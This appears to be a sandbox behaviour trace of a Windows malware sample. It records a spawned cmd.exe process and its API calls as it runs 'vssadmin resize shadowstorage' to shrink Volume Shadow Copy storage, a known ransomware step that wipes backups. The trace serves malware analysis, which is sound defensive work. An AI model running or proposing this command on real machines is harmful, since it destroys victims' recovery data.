	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 90
	os_tid = 0x7dc


Thread:
	id = 91
	os_tid = 0x9b4


Thread:
	id = 92
	os_tid = 0x98c


Thread:
	id = 93
	os_tid = 0x13c0


Thread:
	id = 94
	os_tid = 0x13f4


Process:
	id = "29"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0xa007000"
	os_pid = "0x72c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x13fc"
	cmd_line = "cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 95
	os_tid = 0x1160

	[0080.941] GetModuleHandleA (lpModuleName=0x0) returned 0xb70000
	[0080.941] __set_app_type (_Type=0x1) 
	[0080.941] __p__fmode () returned 0x77803c14
	[0080.941] __p__commode () returned 0x778049ec
	[0080.942] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xb86fd0) returned 0x0
	[0080.942] __getmainargs (in: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac, _DoWildCard=0, _StartInfo=0xb9d1b8 | out: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac) returned 0
	[0080.942] _onexit (_Func=0xb88030) returned 0xb88030
	[0080.942] _onexit (_Func=0xb88040) returned 0xb88040
	[0080.942] _onexit (_Func=0xb88050) returned 0xb88050
	[0080.942] _onexit (_Func=0xb88060) returned 0xb88060
	[0080.942] _onexit (_Func=0xb88070) returned 0xb88070
	[0080.943] _onexit (_Func=0xb88080) returned 0xb88080
	[0080.943] GetCurrentThreadId () returned 0x1160
	[0080.943] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x1160) returned 0xbc
	[0080.943] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0080.943] GetProcAddress (hModule=0x76750000, lpProcName="SetThreadUILanguage") returned 0x76764f70
	[0080.943] SetThreadUILanguage (LangId=0x0) returned 0x31f0409
	[0081.042] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0081.042] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x32ffe08 | out: phkResult=0x32ffe08*=0x0) returned 0x2
	[0081.043] VirtualQuery (in: lpAddress=0x32ffe13, lpBuffer=0x32ffdc0, dwLength=0x1c | out: lpBuffer=0x32ffdc0*(BaseAddress=0x32ff000, AllocationBase=0x3200000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0081.043] VirtualQuery (in: lpAddress=0x3200000, lpBuffer=0x32ffdc0, dwLength=0x1c | out: lpBuffer=0x32ffdc0*(BaseAddress=0x3200000, AllocationBase=0x3200000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0081.043] VirtualQuery (in: lpAddress=0x3201000, lpBuffer=0x32ffdc0, dwLength=0x1c | out: lpBuffer=0x32ffdc0*(BaseAddress=0x3201000, AllocationBase=0x3200000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0081.043] VirtualQuery (in: lpAddress=0x3203000, lpBuffer=0x32ffdc0, dwLength=0x1c | out: lpBuffer=0x32ffdc0*(BaseAddress=0x3203000, AllocationBase=0x3200000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0081.043] VirtualQuery (in: lpAddress=0x3300000, lpBuffer=0x32ffdc0, dwLength=0x1c | out: lpBuffer=0x32ffdc0*(BaseAddress=0x3300000, AllocationBase=0x3300000, AllocationProtect=0x4, RegionSize=0x35000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0081.043] GetConsoleOutputCP () returned 0x1b5
	[0081.134] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0081.135] SetConsoleCtrlHandler (HandlerRoutine=0xb97260, Add=1) returned 1
	[0081.135] _get_osfhandle (_FileHandle=1) returned 0x90
	[0081.135] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba388c | out: lpMode=0xba388c) returned 1
	[0081.228] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0081.228] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3888 | out: lpMode=0xba3888) returned 1
	[0081.322] _get_osfhandle (_FileHandle=1) returned 0x90
	[0081.322] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1
	[0081.415] _get_osfhandle (_FileHandle=1) returned 0x90
	[0081.415] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0081.587] _get_osfhandle (_FileHandle=1) returned 0x90
	[0081.587] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0081.837] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0081.837] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0081.931] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0081.931] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0082.025] GetEnvironmentStringsW () returned 0x3354bc0*
	[0082.025] GetProcessHeap () returned 0x3350000
	[0082.025] RtlAllocateHeap (HeapHandle=0x3350000, Flags=0x8, Size=0xaca) returned 0x3355698
	[0082.025] FreeEnvironmentStringsA (penv="A") returned 1
	[0082.025] GetProcessHeap () returned 0x3350000
	[0082.025] RtlAllocateHeap (HeapHandle=0x3350000, Flags=0x8, Size=0x4) returned 0x33546a0
	[0082.025] GetEnvironmentStringsW () returned 0x3354bc0*
	[0082.026] GetProcessHeap () returned 0x3350000
	[0082.026] RtlAllocateHeap (HeapHandle=0x3350000, Flags=0x8, Size=0xaca) returned 0x3356170
	[0082.026] FreeEnvironmentStringsA (penv="A") returned 1
	[0082.026] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32fed64 | out: phkResult=0x32fed64*=0xcc) returned 0x0
	[0082.026] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32fed6c, lpData=0x32fed70, lpcbData=0x32fed68*=0x1000 | out: lpType=0x32fed6c*=0x0, lpData=0x32fed70*=0x80, lpcbData=0x32fed68*=0x1000) returned 0x2
	[0082.026] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32fed6c, lpData=0x32fed70, lpcbData=0x32fed68*=0x1000 | out: lpType=0x32fed6c*=0x4, lpData=0x32fed70*=0x1, lpcbData=0x32fed68*=0x4) returned 0x0
	[0082.026] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x32fed6c, lpData=0x32fed70, lpcbData=0x32fed68*=0x1000 | out: lpType=0x32fed6c*=0x0, lpData=0x32fed70*=0x1, lpcbData=0x32fed68*=0x1000) returned 0x2
	[0082.026] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32fed6c, lpData=0x32fed70, lpcbData=0x32fed68*=0x1000 | out: lpType=0x32fed6c*=0x4, lpData=0x32fed70*=0x0, lpcbData=0x32fed68*=0x4) returned 0x0
	[0082.026] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32fed6c, lpData=0x32fed70, lpcbData=0x32fed68*=0x1000 | out: lpType=0x32fed6c*=0x4, lpData=0x32fed70*=0x40, lpcbData=0x32fed68*=0x4) returned 0x0
	[0082.026] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32fed6c, lpData=0x32fed70, lpcbData=0x32fed68*=0x1000 | out: lpType=0x32fed6c*=0x4, lpData=0x32fed70*=0x40, lpcbData=0x32fed68*=0x4) returned 0x0
	[0082.026] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32fed6c, lpData=0x32fed70, lpcbData=0x32fed68*=0x1000 | out: lpType=0x32fed6c*=0x0, lpData=0x32fed70*=0x40, lpcbData=0x32fed68*=0x1000) returned 0x2
	[0082.026] RegCloseKey (hKey=0xcc) returned 0x0
	[0082.026] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32fed64 | out: phkResult=0x32fed64*=0xcc) returned 0x0
	[0082.026] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32fed6c, lpData=0x32fed70, lpcbData=0x32fed68*=0x1000 | out: lpType=0x32fed6c*=0x0, lpData=0x32fed70*=0x40, lpcbData=0x32fed68*=0x1000) returned 0x2
	[0082.026] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32fed6c, lpData=0x32fed70, lpcbData=0x32fed68*=0x1000 | out: lpType=0x32fed6c*=0x4, lpData=0x32fed70*=0x1, lpcbData=0x32fed68*=0x4) returned 0x0
	[0082.026] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x32fed6c, lpData=0x32fed70, lpcbData=0x32fed68*=0x1000 | out: lpType=0x32fed6c*=0x0, lpData=0x32fed70*=0x1, lpcbData=0x32fed68*=0x1000) returned 0x2
	[0082.026] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32fed6c, lpData=0x32fed70, lpcbData=0x32fed68*=0x1000 | out: lpType=0x32fed6c*=0x4, lpData=0x32fed70*=0x0, lpcbData=0x32fed68*=0x4) returned 0x0
	[0082.026] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32fed6c, lpData=0x32fed70, lpcbData=0x32fed68*=0x1000 | out: lpType=0x32fed6c*=0x4, lpData=0x32fed70*=0x9, lpcbData=0x32fed68*=0x4) returned 0x0
	[0082.026] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32fed6c, lpData=0x32fed70, lpcbData=0x32fed68*=0x1000 | out: lpType=0x32fed6c*=0x4, lpData=0x32fed70*=0x9, lpcbData=0x32fed68*=0x4) returned 0x0
	[0082.026] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32fed6c, lpData=0x32fed70, lpcbData=0x32fed68*=0x1000 | out: lpType=0x32fed6c*=0x0, lpData=0x32fed70*=0x9, lpcbData=0x32fed68*=0x1000) returned 0x2
	[0082.026] RegCloseKey (hKey=0xcc) returned 0x0
	[0082.027] time (in: timer=0x0 | out: timer=0x0) returned 0x5e40e735
	[0082.027] srand (_Seed=0x5e40e735) 
	[0082.027] GetCommandLineW () returned="cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB"
	[0082.027] malloc (_Size=0x4000) returned 0x34821f0
	[0082.027] GetCommandLineW () returned="cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB"
	[0082.027] malloc (_Size=0xffce) returned 0x3690048
	[0082.028] ??_V@YAXPAX@Z () returned 0x32ffd48
	[0082.028] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x3690048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0082.028] malloc (_Size=0xffce) returned 0x36a0020
	[0082.028] ??_V@YAXPAX@Z () returned 0x32ffb1c
	[0082.029] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x36a0020, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0082.029] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0082.029] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0082.029] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0082.029] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0082.029] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0082.029] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0082.029] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0082.029] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0082.029] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0082.029] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0082.029] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0082.029] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0082.029] GetProcessHeap () returned 0x3350000
	[0082.029] RtlFreeHeap (HeapHandle=0x3350000, Flags=0x0, BaseAddress=0x3355698) returned 1
	[0082.030] GetEnvironmentStringsW () returned 0x3354bc0*
	[0082.030] GetProcessHeap () returned 0x3350000
	[0082.030] RtlAllocateHeap (HeapHandle=0x3350000, Flags=0x8, Size=0xae2) returned 0x3357738
	[0082.030] FreeEnvironmentStringsA (penv="A") returned 1
	[0082.030] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0082.030] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0082.030] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0082.030] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0082.030] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0082.030] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0082.030] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0082.030] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0082.030] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0082.030] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0082.030] malloc (_Size=0xffce) returned 0x36afff8
	[0082.030] ??_V@YAXPAX@Z () returned 0x32ff8b4
	[0082.031] GetProcessHeap () returned 0x3350000
	[0082.031] RtlAllocateHeap (HeapHandle=0x3350000, Flags=0x8, Size=0x38) returned 0x3350ae0
	[0082.031] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x36afff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0082.031] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x36afff8, lpFilePart=0x32ff900 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x32ff900*="Desktop") returned 0x17
	[0082.031] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0082.031] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x32ff680 | out: lpFindFileData=0x32ff680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x3350b20
	[0082.031] FindClose (in: hFindFile=0x3350b20 | out: hFindFile=0x3350b20) returned 1
	[0082.031] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x32ff680 | out: lpFindFileData=0x32ff680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x3350b20
	[0082.032] FindClose (in: hFindFile=0x3350b20 | out: hFindFile=0x3350b20) returned 1
	[0082.032] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x32ff680 | out: lpFindFileData=0x32ff680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x205eab37, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x205eab37, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x3350b20
	[0082.032] FindClose (in: hFindFile=0x3350b20 | out: hFindFile=0x3350b20) returned 1
	[0082.032] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0082.032] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1
	[0082.032] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1
	[0082.032] GetProcessHeap () returned 0x3350000
	[0082.032] RtlFreeHeap (HeapHandle=0x3350000, Flags=0x0, BaseAddress=0x3357738) returned 1
	[0082.032] GetEnvironmentStringsW () returned 0x3354bc0*
	[0082.032] GetProcessHeap () returned 0x3350000
	[0082.032] RtlAllocateHeap (HeapHandle=0x3350000, Flags=0x8, Size=0xb1a) returned 0x3356c48
	[0082.032] FreeEnvironmentStringsA (penv="=") returned 1
	[0082.032] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x3690048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0082.032] GetProcessHeap () returned 0x3350000
	[0082.032] RtlFreeHeap (HeapHandle=0x3350000, Flags=0x0, BaseAddress=0x3350ae0) returned 1
	[0082.032] ??_V@YAXPAX@Z () returned 0x1
	[0082.032] ??_V@YAXPAX@Z () returned 0x1
	[0082.032] GetProcessHeap () returned 0x3350000
	[0082.032] RtlAllocateHeap (HeapHandle=0x3350000, Flags=0x8, Size=0x400e) returned 0x3358d50
	[0082.033] GetProcessHeap () returned 0x3350000
	[0082.033] RtlAllocateHeap (HeapHandle=0x3350000, Flags=0x8, Size=0x84) returned 0x3357770
	[0082.033] GetProcessHeap () returned 0x3350000
	[0082.033] RtlFreeHeap (HeapHandle=0x3350000, Flags=0x0, BaseAddress=0x3358d50) returned 1
	[0082.033] GetConsoleOutputCP () returned 0x1b5
	[0082.116] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0082.116] GetUserDefaultLCID () returned 0x409
	[0082.117] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xb9f82c, cchData=8 | out: lpLCData=":") returned 2
	[0082.117] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x32ffc70, cchData=128 | out: lpLCData="0") returned 2
	[0082.117] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x32ffc70, cchData=128 | out: lpLCData="0") returned 2
	[0082.117] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x32ffc70, cchData=128 | out: lpLCData="1") returned 2
	[0082.117] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xb9f81c, cchData=8 | out: lpLCData="/") returned 2
	[0082.117] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xb9f7b8, cchData=32 | out: lpLCData="Mon") returned 4
	[0082.117] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xb9f778, cchData=32 | out: lpLCData="Tue") returned 4
	[0082.117] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xb9f738, cchData=32 | out: lpLCData="Wed") returned 4
	[0082.117] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xb9f6f8, cchData=32 | out: lpLCData="Thu") returned 4
	[0082.117] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xb9f6b8, cchData=32 | out: lpLCData="Fri") returned 4
	[0082.117] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xb9f678, cchData=32 | out: lpLCData="Sat") returned 4
	[0082.117] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xb9f638, cchData=32 | out: lpLCData="Sun") returned 4
	[0082.117] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xb9f80c, cchData=8 | out: lpLCData=".") returned 2
	[0082.117] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xb9f7f8, cchData=8 | out: lpLCData=",") returned 2
	[0082.117] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0082.119] GetProcessHeap () returned 0x3350000
	[0082.119] RtlAllocateHeap (HeapHandle=0x3350000, Flags=0x0, Size=0x20c) returned 0x3357848
	[0082.119] GetConsoleTitleW (in: lpConsoleTitle=0x3357848, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0082.210] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0082.210] GetProcAddress (hModule=0x76750000, lpProcName="CopyFileExW") returned 0x76764330
	[0082.210] GetProcAddress (hModule=0x76750000, lpProcName="IsDebuggerPresent") returned 0x76765930
	[0082.210] GetProcAddress (hModule=0x76750000, lpProcName="SetConsoleInputExeNameW") returned 0x748f09d0
	[0082.210] ??_V@YAXPAX@Z () returned 0x1
	[0082.211] GetProcessHeap () returned 0x3350000
	[0082.211] RtlAllocateHeap (HeapHandle=0x3350000, Flags=0x8, Size=0x400a) returned 0x3358d50
	[0082.211] GetProcessHeap () returned 0x3350000
	[0082.211] RtlFreeHeap (HeapHandle=0x3350000, Flags=0x0, BaseAddress=0x3358d50) returned 1
	[0082.211] _wcsicmp (_String1="vssadmin", _String2=")") returned 77
	[0082.211] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16
	[0082.211] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16
	[0082.211] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13
	[0082.211] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13
	[0082.212] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4
	[0082.212] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4
	[0082.212] GetProcessHeap () returned 0x3350000
	[0082.212] RtlAllocateHeap (HeapHandle=0x3350000, Flags=0x8, Size=0x58) returned 0x3357a60
	[0082.212] GetProcessHeap () returned 0x3350000
	[0082.212] RtlAllocateHeap (HeapHandle=0x3350000, Flags=0x8, Size=0x1a) returned 0x3357ac0
	[0082.213] GetProcessHeap () returned 0x3350000
	[0082.213] RtlAllocateHeap (HeapHandle=0x3350000, Flags=0x8, Size=0x70) returned 0x3357ae8
	[0082.213] GetConsoleTitleW (in: lpConsoleTitle=0x32ffb68, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0082.304] malloc (_Size=0xffce) returned 0x36a2638
	[0082.304] ??_V@YAXPAX@Z () returned 0x32ff8f4
	[0082.305] malloc (_Size=0xffce) returned 0x36b2610
	[0082.305] ??_V@YAXPAX@Z () returned 0x32ff6ac
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0082.306] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
